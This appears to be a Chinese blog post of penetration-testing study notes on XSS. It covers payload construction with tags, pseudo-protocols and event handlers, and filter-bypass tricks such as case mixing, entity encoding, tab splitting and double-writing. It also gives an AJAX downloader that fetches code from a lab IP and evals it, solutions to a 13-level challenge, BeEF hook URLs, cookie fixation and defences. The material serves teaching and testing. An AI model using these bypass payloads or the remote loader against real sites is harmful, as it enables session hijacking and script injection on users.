[渗透测试]:XSS(二)

[渗透测试]:XSS(二)

 
XSS
 
XSS 的构造
 
*利用[<>]构造HTML/JS
 
利用[<>]构造HTML标签和<script> 标签
 
在测试页面提交参数[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]
 
提交[<script>alert(/XSS/)</script>]
 
*伪协议
 
亦可以使用JavaScript:伪协议的方式构造XSS
 
[javascript:alert(/XSS/)]
 
提交参数[<a href="javascript:alert(/XSS/)">click me!</a>] 点击超链接。即可触发XSS
 
也可使用img 标签的伪协议,但这种方法只在IE6 下测试成功
 
[<img src="javascript:alert(/XSS/)">]
 
*产生自己的事件
 
“事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应,所以我通过事件触发JS函数,进而触发XSS
 
Windows事件
对Windows 对象触发的事件
Form事件
HTML 表单内的动作触发事件
Keyboard事件
键盘按键
Mouse事件
由鼠标或类似用户动作触发的事件
Media事件
由多媒体触发的事件
 
如:[<img src='./simle.jpg'  οnmοuseοver='alert(/XSS/)'>]
 
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码
 
单行文本框的键盘点击事件
 
[<input type="text" onekeydown="alert(/XSS/)">] 当点击键盘任意一个按键时触发
 
[<input type="text" onekeyup="alert(/XSS/)">]
 
[<input type="button" οnclick="alert(/XSS/)">]
 
<img scr='./simle.jpg' οnmοuseοver='alert(/XSS/)'>
 
<img scr='#' οnerrοr='alert(/XSS/)'>
 
*利用CSS  跨站(old)
 
方法比较古老,在这里就不做介绍
 
*其他标签及手法(HTML5)
 
我们可以用其他标签触发XSS。
 
[<svg οnlοad="alert(/XSS/)">]
 
[<input οnfοcus=alert(/XSS/) autofocus>]      focus:聚焦
 
XSS 的变形
 
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要以下几种
 
*大小写转换
 
可以将payload 进行大小写转换,如下
 
    <Img sRc='#' Onerror="alert(/XSS/)" />
 
    <a HrEF="javaScript:alert(/XSS/)">click me</a>
 
*引号的使用
 
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
 
< img  src="#" οnerrοr="alert(/XSS/)" />
 
< img  src='#' οnerrοr='alert(/XSS/)' />
 
< img  src=# οnerrοr=alert(/XSS/) />
 
*[/]代替空格
 
可以利用左斜线代替空格
 
<Img/sRc='#'/Onerror="alert(/XSS/)" />
 
*回车
 
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
 
<a HrEF="j
a    v
a    S
c    r
i    p
t    :
alert(/XSS/)">click me</a>
 
*对标签属性值进行转码
 
可以对标签属性值进行转码,用来绕过过滤。对于编码如下:
 
    字母
 
    ASCII码
 
    十进制编码
 
    十六进制编码
 
    a   97   &#97; &#x61;
 
    e   101  &#101;   &#x65;
 
经过简单编码之后的样子。
 
<A hREF="j&#97;v&#x61;script:alert(/XSS/)">click me !</a>
 
Tab    &#9
 
换行   &#10
 
回车   &#13
 
可以将以下字符串插入到头部位置
 
SOH      &#01
 
STX      &#02
 
经过编码后的
 
<A hReF="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
 
click me!
 
</a>
 
*拆分跨站
 
<script>z='alert'</script>
 
<script>z=z+'(/xss/)'</script>
 
<script>eval(z)</script>
 
*双写绕过
 
<script>
 
<scr<script>ipt>
 
Shellcode 的调用
 
Shellcode 就是利用漏洞所指向的代码。
 
完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode
 
*远程调用JS
 
可以将JS 代码单独存放在一个JS 文件中,然后通过HTTP 协议远程加载该脚本。如:
 
<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>
 
这是比较常用的方式。xss.js 的内容如下
 
alert('xss.js');
 
*windows.location.hash
 
我们也可以使用js 中的windows.location.hash 方法获取浏览器URL 地址栏的XSS代码。
 
windows.location.hash 会获取URL 中#后面的内容,例如[http://domain.com/index.php#GGG],windows.location.hash的值是[#GGG].
 
所以我们可以如下构造代码[?submit=submit&&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php.
 
*XSS Downloader
 
XSS 下载器就是将XSS 代码写在网页中,然后通过AJAX技术,取得网页中的XSS 代码
 
在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下
 
--------------------------------
 
    ~~~~~~BOF|alert(/XSS/)|EOF~~~~~~
 
--------------------------------
 
常见的下载器
 
--------------------------------
 
<script>
 
function XSS(){
 
if (window.XMLHttpRequest){
 
a=new XMLHttpRequest();
 
}else if (window.ActiveXObject){
 
a=new ActiveXObject("Microsoft.XMLHTTP");
 
}else{ return;}
 
a.open('get','http://192.168.1.200/XSS-TEST/normal/xss_downloader.php',false);
 
a.send();
 
b=a.reponseText;
 
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))))
 
}
 
XSS();
 
</script>
 
--------------------------------
 
AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端添加如下内容。
 
--------------------------------
 
<?php
 
header('Access-Control-Allow-Origin:*');
 
header('Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept');
 
?>
 
-----------------------------------
 
 
*备选存储技术
 
我们可以把Shellcode 存储在客户端的本地域中,比如:HTTP Cookie、Flash 共享对象、UserData、locationStorage 等。我们以HTTP Cookie 为例子。
 
点击Cookie-XSS 验证,运行JS 恶意代码。
 
XSS 通关挑战
 
    测试:<script " ' OOnn>
 
    [01]
 
    <script>alert(/xss/)</script>
 
    [02]
 
    "><img src="#" οnerrοr=alert(/xss/)>
 
    [03]
 
    ' οnmοuseοver='alert(/xss/)
 
    [04]
 
    " οnmοuseοver="alert(/xss/)
 
    [05]
 
    "><a href="javascript:alert(/xss/)">click me!</a>
 
    [06]
 
    " Onmouseover="alert(/xss/)
 
    "><a hREf="javascript:alert(/xss/)">click me!</a>
 
    [07]
 
    " oONnmouseover="alert(/xss/)
 
    [08]
 
    javasc&#82;ipt:alert(/xss/)
 
    [09]
 
    javasc&#82;ipt:alert('http://')
 
    [10]
 
    click me!" type="button" οnclick="alert(/xss/)
 
    [level10.php?t_sort=click%20me!"%20type="button"%20οnclick="alert(/xss/)]
 
    [11]
 
    Referer:click me!" type="button" οnclick="alert(/xss/)
 

image

 
    [12]
 
    User-Agent: click me!" type="button" οnclick="alert(/xss/)
 

image

 
    [13]
 
    Cookie: user=click me!" type="button" οnclick="alert(/xss/)
 

image

 
XSS 的防御
 
*使用XSS Filter
 
XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS 攻击的效果。
 
@ 输入过滤
 
“永远不要相信用户的输入”是网站开发的基本常识,对于用户的输入一定要过滤,过滤,再过滤。
 
·输入验证
 
简单的说,输入验证就是对用户提交的信息进行有效的验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据
 
输入是否包含合法字符
 
输入字符串是否超过最大长度限制
 
输入如果是数字,数字是否再指定范围之内
 
输入是否符合特殊格式要求,如E-mail 地址、IP 地址等
 
·数据消毒
 
过滤和净化掉有害的输入
 
@ 输出编码
 
HTML 编码主要用对应的HTML 实体代替字符
 
@ 黑白名单
 
不管采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤
 
黑名单,非允许数据。
 
白名单,允许的数据。
 
*防御DOM-XSS
 
避免客户端文档的重写、重定向或其他敏感操作。
 
BEEF
 
XSS神器
 
XSS漏洞的利用平台
 
beef 的启动
 
工具目录   /usr/share/beef-xss
 
配置文件   config.yaml
 
启动beef 工具的方法
 
1、beef-xss
 
2、/usr/share/beef-xss/beef
 
需要修改配置文件中的默认用户名和密码
 
Web 界面管理控制台
 
http://192.168.1.150:3000/ui/panel
 
Shellcode
 
http://192.168.1.150:3000/hook.js
 
测试页面
 
http://192.168.1.150:3000/demos/butcher/index.html
 
 
XSS的利用
 
1、浏览器劫持
 
2、Cookie 窃取与欺骗--固定会话攻击
 
data:cookie="username=admin"; userid=1
 
------------------
 
document.cookie="username=admin";
 
document.cookie="userid=1";
 
------------------
 
3、利用浏览器漏洞getshell
 
msf
 
msf10002   xp
 
msf12063   win7
 
4、XSS平台
 
XSS盲打
 
xsspt.com
 
 
posted @ 2021-06-23 12:45  jpSpaceX  阅读(101)  评论(0编辑  收藏  举报